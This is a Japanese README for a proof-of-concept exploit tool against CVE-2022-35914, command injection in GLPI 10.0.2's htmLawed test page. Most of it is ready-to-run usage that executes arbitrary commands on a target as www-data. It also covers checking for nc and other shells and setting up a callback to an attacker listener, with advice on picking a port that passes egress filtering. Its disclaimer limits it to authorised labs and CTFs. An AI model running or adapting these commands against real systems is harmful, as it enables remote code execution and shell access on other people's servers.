
CVE-2022-35914 用 PoC エクスプロイト — GLPI v.10.0.2 htmLawed のコマンドインジェクション、コマンド実行、およびリバースシェルサポート
CVE-2022-35914 のPoCです。脆弱なGLPIインストールにおける htmLawed テストコンポーネントに関連するコマンドインジェクション脆弱性です。
このツールは脆弱なエンドポイントを通じてコマンド実行を提供し、許可されたラボ環境向けのオプションのコールバック機能を含みます。
免責事項: このプロジェクトは、許可されたセキュリティテスト、CTF、OffSec/PGラボ、および教育目的のみを対象としています。明示的な許可なくシステムに対して使用しないでください。
| 項目 | 詳細 |
|---|---|
| CVE | CVE-2022-35914 |
| ソフトウェア | GLPI v.10.0.2 |
| コンポーネント | htmLawed |
| 脆弱なエンドポイント | /vendor/htmlawed/htmlawed/htmLawedTest.php |
脆弱なコンポーネントは、影響を受けるインストールにおいて細工されたパラメータを通じてコマンド実行を可能にする可能性があります。
Python 3および必要な依存関係。
sudo apt install python3-requests python3-bs4
python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4
リポジトリをクローンします:
git clone https://github.com/cyb3rk0ala/CVE-2022-35914.git
cd CVE-2022-35914
スクリプトに実行権限を付与します:
chmod +x glpi.py
python3 glpi.py -h
python3 glpi.py -u TARGET_IP -c 'id'
出力例:
[*] Target: http://TARGET_IP:80/vendor/htmlawed/htmlawed/htmLawedTest.php
========== COMMAND OUTPUT ==========
uid=33(www-data) gid=33(www-data) groups=33(www-data)
====================================
-c オプションは実行するコマンドを指定します。
python3 glpi.py -u TARGET_IP -c 'whoami'
python3 glpi.py -u TARGET_IP -c 'id'
python3 glpi.py -u TARGET_IP -c 'uname -a'
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
| オプション | 説明 | デフォルト |
|---|---|---|
-u, --url | ターゲットURLまたはIPアドレス | 必須 |
-c, --cmd | 実行するコマンド | id |
--check | コマンドを実行せずにターゲットをチェック | 無効 |
--user-agent | カスタムHTTP User-Agent | デフォルト |
-p, --rport | ターゲットHTTPサービスポート | 80 |
-l, --lhost | コールバック/リスナーIPアドレス | — |
-lp, --lport | コールバック/リスナーポート | — |
-p / --rport オプションは、脆弱なGLPI Webサービスが実行されているポートを指定します。
デフォルト:
80
例:
python3 glpi.py -u TARGET_IP -p 80 -c 'id'
--check を使用して、コマンドを実行せずにhtmLawedテストページが利用可能か確認します:
python3 glpi.py -u TARGET_IP --check
カスタムHTTP User-Agentは次のように指定できます:
python3 glpi.py \
-u TARGET_IP \
--user-agent 'Mozilla/5.0'
スクリプトはオプションのコールバックパラメータをサポートしています:
-l Callback/listener IP
-lp Callback/listener port
例:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
この例では:
Target: TARGET_IP:80
Callback: LHOST:80
2つのポートは異なる目的を持ちます:
-p = Target GLPI HTTP port
-lp = Callback/listener port
OffSecラボ環境でのテスト中、コールバックは TCPポート80 で正常に動作しました。
4444 など他のコールバックポートは、ラボネットワークや外向きフィルタリングによってタイムアウトする可能性があります。
テストされた環境では:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
リスナーはKali VPNインターフェース上でTCPポート 80 を使用して設定されました。
重要: コールバックにポート80を使用することは環境固有の観察です。これはCVE-2022-35914の要件ではありません。
まずコマンド実行を確認します:
python3 glpi.py -u TARGET_IP -c 'id'
必要なユーティリティが存在するか確認します:
python3 glpi.py -u TARGET_IP -c 'which bash'
python3 glpi.py -u TARGET_IP -c 'which python3'
python3 glpi.py -u TARGET_IP -c 'which php'
python3 glpi.py -u TARGET_IP -c 'which nc'
コマンド実行は動作するがコールバックがタイムアウトする場合は、VPNルーティングとコールバックポートを確認してください。
コマンド出力の解析が失敗した場合、完全なHTTPレスポンスが次に保存されます:
/tmp/glpi.html
次のコマンドで確認します:
less /tmp/glpi.html
または:
mousepad /tmp/glpi.html
python3 glpi.py \
-u TARGET_IP \
--check
python3 glpi.py \
-u TARGET_IP \
-c 'id'
python3 glpi.py \
-u TARGET_IP \
-c 'whoami'
python3 glpi.py \
-u TARGET_IP \
-c 'which nc'
テストされたOffSecラボ環境では:
python3 glpi.py \
-u TARGET_IP \
-p 80 \
-l LHOST \
-lp 80
このプロジェクトは教育および許可されたセキュリティテストの目的のみで提供されています。
作者は、このソフトウェアに関連するいかなる誤用、損害、不正アクセス、または違法行為についても責任を負いません。
システムをテストする前に、常に明示的な許可を取得してください。
cyb3rk0ala
CVE-2022-35914
CVE-2022-35914 by cyb3rk0ala